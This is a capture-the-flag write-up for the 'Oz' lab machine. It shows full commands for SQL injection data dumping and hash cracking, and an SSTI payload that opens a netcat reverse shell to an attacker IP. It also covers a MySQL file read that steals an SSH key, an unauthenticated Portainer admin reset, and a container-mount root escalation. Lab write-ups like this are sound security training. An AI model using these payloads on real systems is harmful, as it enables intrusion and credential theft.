Oz

Enumeration
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.96 -oN allPorts
-sSuse the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000nmap will try to keep the sending rate at or above 5000 packets per second.-p-scanning the entire port range, from 1 to 65535.-T5insane mode, it is the fastest mode of the nmap time template.-Pnassume the host is online.-nscan without reverse DNS resolution.-oNsave the scan result into a file, in this case the allports file.
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p80,60080 10.10.10.96 -oN targeted
-sCperforms the scan using the default set of scripts.-sVenables version detection.-oNsave the scan result into file, in this case the targeted file.
There is an API on port 80.
curl http://10.10.10.96/
With wfuzz, we could see that there is a directory called users.
wfuzz -c --hw=1,4 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.96/FUZZ
Inside the users directory, we'll see the admin directory available. We'll also see that the ' character gives a 500 response.
wfuzz -c --hh=5 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.96/users/FUZZ
The /admin directory shows the username admin.
curl -s "http://10.10.10.96/users/admin" | jq
The ' character breaks the server.
curl "http://10.10.10.96/users/'"
Exploitation
With a simple SQL injection payload, we are able to get another user.
curl -s "http://10.10.10.96/users/'%20or%201=1--%20-"
Let's enumerate the database. First, get the name of the database.
curl -s "http://10.10.10.96/users/'%20union%20select%20database()--%20-" | jq '.username'
Now, check which are its tables.
curl -s "http://10.10.10.96/users/'%20union%20select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='ozdb'--%20-" | jq '.username'
Let's get the columns of the users_gbw table.
curl -s "http://10.10.10.96/users/'%20union%20select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema='ozdb'%20and%20table_name='users_gbw'--%20-" | jq '.username'
Finally, dump the entire users_gbw table.
for i in $(seq 1 10); do curl -s "http://10.10.10.96/users/'%20union%20select%20concat(username,':',password)%20from%20ozdb.users_gbw%20limit%20$i,1--%20-" | jq '.username' | tr -d '"'; done
Let's try to break these hashes. Put them into the hashes file. If we try to break it with john, we'll see that it identifies the hashes as PBKDF2-HMAC-SHA256. But it is very slow.
john -w=/usr/share/wordlists/rockyou.txt hashes
Let's use hashcat instead. First, we need to know the hash mode, and the format of the hash.
hashcat --example-hashes | grep ': PBKDF2-HMAC-SHA256' -C 10
As the format of the has is different, we need to tweak the hashes that we have to make it work.
cat hashes | sed 's/pbkdf2-//g' | tr "$" ":" | sed 's/::/:/' | sponge
Finally, break the hashes with hashcat.
hashcat -m 10900 -a 0 hashes /usr/share/wordlists/rockyou.txt --user
This looks like the password of wizard.oz.The website on port 8080 shows a login page. Let's use the credentials we got.

Inside, we'll see twelve tickets.

The eighth ticket says that there might be SSH keys in /home/dorthi/.

From the + button, we could add a new ticket. Try to add a new ticket, intercept the request with BurpSuite, and send it to the repeater.

Our input appears in the response. We could try to inject SSTI payloads, such as python code.

Time to get a shell. First, let's set a netcat listener on port 4444.
rlwrap nc -lvnp 4444
-llisten mode.-vverbose mode.-nnumeric-only IP, no DNS resolution.-pspecify the port to listen on.
Using the following payload, we'll get access as root to a machine called tix-app, which looks like a container.
{{ self.init.globals.builtins.import('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>%261|nc 10.10.14.6 4444 >/tmp/f').read() }}

Privilege Escalation
In the root directory, there is one folder called .secret, and another one called containers.
ls -la /
The .secret directory has a file called knockd.conf.
ls -la /.secret
This file configures port knocking on the system. This means that if ports 40809, 50212 and 46969 are hit, then port 22 will open. We can test it out.
for port in 40809 50212 46969; do echo "test" | nc -u -w 1 10.10.10.96 $port; done; nmap -p22 -n -Pn 10.10.10.96
The containers directory has another folder inside called database.
ls -la /containers
Inside, there is a bash script called start.sh.
ls -la /containers/database
Which contains credentials for a database hosted in 10.100.10.4.
cat /containers/database/start.sh
Let's try to connect to the remote database.
mysql -h 10.100.10.4 -u root -pSuP3rS3cr3tP@ss -e "show databases"
The credentials are valid. As the database is in a remote server, we could try to retrieve local files from that server. As we saw earlier, there is one user called dorthi, which might have some SSH keys.
mysql -h 10.100.10.4 -u root -pSuP3rS3cr3tP@ss -e "select load_file('/home/dorthi/.ssh/id_rsa')"
Now that we have an SSH private key for dorthi, let's log into the machine. Enter the dorthi password we found in the bash script to decrypt the SSH key. Then, we'll be able to grab the user flag.
for port in 40809 50212 46969; do echo "test" | nc -u -w 1 10.10.10.96 $port; done; ssh dorthi@10.10.10.96 -i id_rsa
If we check the sudo privileges, we'll see that we can list and inspect docker networks.
sudo -l
There a are a few networks configured.
sudo docker network ls
The bridge network has one container with the IP address 172.17.0.2 hosting a portainer-1.11.1 server.
sudo docker network inspect bridge
The server has nmap. Let's use it to scan the ports of the portainer server.
nmap -p- --min-rate 5000 -n -Pn 172.17.0.2
Now do port forwarding of that port.
for port in 40809 50212 46969; do echo "test" | nc -u -w 1 10.10.10.96 $port; done; ssh dorthi@10.10.10.96 -i id_rsa -L 9000:172.17.0.2:9000
The portainer server shows a login page.

I found this vulnerability, which allow any unauthenticated user to change the admin password. We just need to make a POST request with the new password.
curl -S -X POST 'http://localhost:9000/api/users/admin/init' -d '{"password": "alfa8sa"}' -H "Content-Type: application/json"
Now we are able to enter the server as admin.

There is a way to gain access to the main server as root. First, we need to check the image list.

I'll use the python:2.7-alpine image. Now, go to containers.

Create a new container called privEsc with the python:2.7-alpine image.

Select TTY as the console.

Then, create a volume that mounts the entire file system of the parent system to the /rootfs directory of the container.

Now, access the privEsc container, and start a console.

We have access to the container as root, but there is a directory called rootfs in /.

Give SUID permissions to the /bin/bash binary inside rootfs.

Finally, back in the SSH console, get a shell as root, and then all we have to do is reap the harvest and take the root flag.
bash -p
Last updated
Was this helpful?